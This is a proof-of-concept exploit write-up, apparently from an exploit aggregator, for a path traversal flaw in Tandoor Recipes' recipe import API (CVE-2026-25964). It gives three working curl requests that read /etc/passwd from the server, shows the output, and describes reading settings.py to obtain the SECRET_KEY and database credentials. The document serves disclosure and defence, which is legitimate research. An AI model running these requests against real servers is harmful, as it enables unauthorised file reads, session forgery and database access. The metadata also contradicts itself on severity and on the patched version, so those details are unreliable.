## https://sploitus.com/exploit?id=4D77E5EB-BFA9-5F8C-ADAE-E9BD41854B40
# CVE-2026-25964 PoC - Tandoor Recipes Authenticated LFI
**Proof-of-Concept for Authenticated Local File Disclosure via Recipe Import**
**Disclosure:** Originally reported by me via [GHSA-6485-jr28-52xx](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-6485-jr28-52xx)
โ ๏ธ Authorized pentesting/research use only.
## Vulnerability Information
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-25964 |
| **Severity** | ๐ก Medium |
| **CVSS Score** | 4.9 |
| **CVSS Vector** | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| **CWE** | [CWE-22: Path Traversal], [CWE-73: External Control of File Name] |
| **Affected Product** | Tandoor Recipes โค 2.5.0 |
| **Patched Version** | Tandoor Recipes โค 2.5.1 |
| **Advisory** | [GHSA-6485-jr28-52xx](https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-6485-jr28-52xx) |
---
# CVE-2026-25964: Authenticated Local File Disclosure (LFD) via Recipe Import leads to Arbitrary File Read
### Summary
An improperly authorized **Path Traversal vulnerability (CWE-22)** in the `RecipeImport` workflow of Tandoor Recipes allows authenticated users with import permissions to read **arbitrary files** on the server. This vulnerability stems from a lack of input validation in the `file_path` parameter and insufficient checks in the `Local` storage backend, enabling an attacker to bypass storage directory restrictions and access sensitive system files (e.g., `/etc/passwd`) or application configuration files (e.g., `settings.py`), potentially leading to full system compromise.
---
### Details
The vulnerability exists due to a failure to validate user-supplied input against the application's intended storage root.
1. **Unrestricted File Path Input (CWE-73)**: The `/api/recipe-import/` endpoint allows authenticated users to create a `RecipeImport` object with an arbitrary `file_path` and `storage` backend. No validation is performed to ensure the `file_path` resides within the configured storage directory.
2. **Path Traversal in Storage Provider (CWE-22)**: The `Local.get_file` method in `cookbook/provider/local.py` processes the file retrieval request:
```python
@staticmethod
def get_file(recipe):
# VULNERABILITY: Directly opens the path specified in recipe.file_path
# without verifying it is within the storage root directory.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
```
This implementation blindly trusts the path stored in the recipe object, allowing absolute paths (e.g., `/etc/passwd`) or relative paths (e.g., `../../app/config.py`) to be opened.
When a `RecipeImport` object is converted into a `Recipe` via the `import_recipe` action, the malicious path is persisted. A subsequent call to `get_recipe_file` triggers the vulnerable read operation, returning the file content to the user.
---
### PoC
**Prerequisites**: An authenticated user account with permissions to import recipes. By default, this permission might be restricted, but if granted to lower-privileged roles, the impact increases significantly. Even for administrators, this represents a security boundary violation as application-level permissions should not grant filesystem-level read access.
**Step 1: Create a Malicious Import Object**
Send a POST request to create a `RecipeImport` object pointing to the target file (e.g., `/etc/passwd`).
```bash
curl -X POST "http://:8081/api/recipe-import/" \
-b "sessionid=; csrftoken=" \
-H "X-CSRFToken: " \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
```
*(Note: `storage: 1` typically corresponds to the default Local Storage. Adjust if necessary.)*
**Step 2: Convert Import to Recipe**
Trigger the import process to create a persistent `Recipe` object. Note the `import_id` (e.g., `4`) returned from Step 1.
```bash
curl -X POST "http://:8081/api/recipe-import//import_recipe/" \
-b "sessionid=; csrftoken=" \
-H "X-CSRFToken: " \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
```
*(Replace `` with the ID from Step 1 response. This request will return the new `recipe_id` (e.g., `34`)*
**Step 3: Download the Arbitrary File**
Access the file via the recipe file endpoint using the new recipe `id` returned from Step 2 (e.g., `34`).
```bash
curl -X GET "http://:8081/api/get_recipe_file//" \
-b "sessionid="
```
**Result**: The server returns the contents of `/etc/passwd`, confirming the LFD vulnerability.
```text
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
```
---
### Impact
* **Vulnerability Type**: Path Traversal (CWE-22), External Control of File Name or Path (CWE-73).
* **Severity**: **High**.
* **Consequences**:
1. **System Compromise**: Ability to read `/etc/passwd` allows enumeration of system users.
2. **Application Secrets Disclosure**: An attacker can read authenticated configuration files such as **`/opt/recipes/recipes/settings.py`** (confirmed in testing) or `.env`. This exposes the **SECRET_KEY** (allowing session forgery) and **Database Credentials** (allowing direct database access).
3. **Source Code Leak**: Exposure of application source code limits the "security by obscurity" defense and aids in finding further vulnerabilities.